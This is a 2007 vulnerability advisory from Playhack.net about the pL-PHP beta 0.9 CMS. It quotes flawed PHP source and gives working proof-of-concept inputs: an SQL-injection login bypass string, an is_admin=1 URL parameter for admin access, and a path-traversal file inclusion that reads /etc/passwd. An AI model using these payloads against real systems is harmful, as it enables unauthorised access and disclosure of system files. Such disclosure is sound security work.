plphp-multi.txt
Posted on 11 April 2007
. . . ._ | _. .|_ _. _.;_/ [_)|(_]\_|[ )(_](_.| .net | ._| "pL-PHP beta 0.9 - MULTIPLE VULNERABILITIES" by Omni 1) Infos --------- Date : 2007-04-10 Product : pL-PHP Version : beta 0.9 - Prior version maybe also be affected Vendor : http://sourceforge.net/projects/pl-php/ - http://www.karlcore.com/programming/blog/ Vendor Status : 2007-04-10 -> Not Informed! Description : pL-PHP is a new PHP Portal or Content Management System (CMS). It is based on a "multi-topics" system, with sub-topics, and all the content (downloads, articles, headers, links...) is shared into these topics and sub-topics. It will be very easy to use. Source : omnipresent - omni E-mail : omnipresent[at]email[dot]it - omni[at]playhack[dot]net Team : Playhack.net Security 2) Security Issues ------------------- --- [ SQL Injection - Admin Access Bypass ] --- =============================================== [login.php Source Code Bugged - Line 10 - 20] require("includes/config.php"); // Authentification // Script inspir par DBprotect 1.0 de David Borrat (david@borrat.net) if (isset($_POST['login'])) { $login = $_POST['login']; $pass = md5($_POST['pass']); $sql = mysql_connect($global['sql_host'], $global['sql_user'], $global['sql_pass']); mysql_select_db($global['sql_base'], $sql); $verif_query = sprintf("SELECT * FROM " . $global['prefix'] . "_users WHERE username='$login' AND user_password='$pass'"); [end login.php Source Code] As we can see the variables $login and $pass are not properly sanitized before being used; so is possibile to exploit this vulnerability remotely. [ PoC ] ======= Just run with your browser to login.php and insert in the login field: 1' OR '1' = '1' # and in the pass filed what you want! Now you have Admin credential! --- [Global Variable problem - Admin Access Bypass ] --- ======================================================== [admin.php Source Code Bugged - Line 14] [...] if($is_admin == 1) [...] [end admin.php Source Code] As we can se, via the browser we can just connect to admin.php script and pass the variable isadmin the number 1 :D. [ PoC ] ======= http://remote_host/[remote_path]/admin.php?is_admin=1 Now you are Admin ;) --- [Local File Inclusion ] --- =============================== [admin.php Source Code Bugged - Line 16] [...] include("admin/lang/" . $lang . ".inc.php"); [...] [end admin.php Source Code] As we can se, via the browser we can just connect to admin.php script and pass the variable $lang a pretty good path ;). [ PoC ] ======= Connect with Admin Credential and... Have fun.. eg 1: http://127.0.0.1/files/admin.php?is_admin=1&lang=../../../../../../etc/passwd%00 eg 2: First you must.. log in as Admin (SQL Injection Method) and then... http://127.0.0.1/files/admin.php?&lang=../../../../../../etc/passwd%00 3) Patches ----------- Edit the source code to ensure that the input will be properly sanitized before being used
